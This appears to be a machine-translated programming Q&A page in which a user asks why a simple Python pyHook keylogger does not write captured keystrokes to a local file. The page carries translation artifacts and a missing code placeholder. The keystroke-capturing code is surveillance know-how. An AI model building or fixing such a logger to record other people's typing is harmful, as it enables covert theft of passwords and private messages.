为一个简单的keylogg在不同的线程中以特定的时间间隔写入文件

2024-04-25 11:34:08 发布

您现在位置:Python中文网/ 问答频道 /正文

import pythoncom , pyHook, time

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

while True:
    f = open('output.txt', 'a')
    f.write(temp_keylogs)
    temp_keylogs = ''
    f.close()
    time.sleep(4)

我不明白为什么这段代码没有将4秒后执行的所有击键操作都写入一个名为'输出.txt'. 没有抛出错误,所以我相信它编译得很好,但它没有向文件中写入任何内容。在

我按照建议添加了pythoncom.PumpMessages(),但这实际上给出了两个while循环;那么,我需要线程来完成这项工作吗?在

我在这里尝试了线程版本:

^{pr2}$

但它仍然没有写入文件。所以,我还是不确定出了什么问题。在


Tags: 文件keyimporttxteventtime线程temp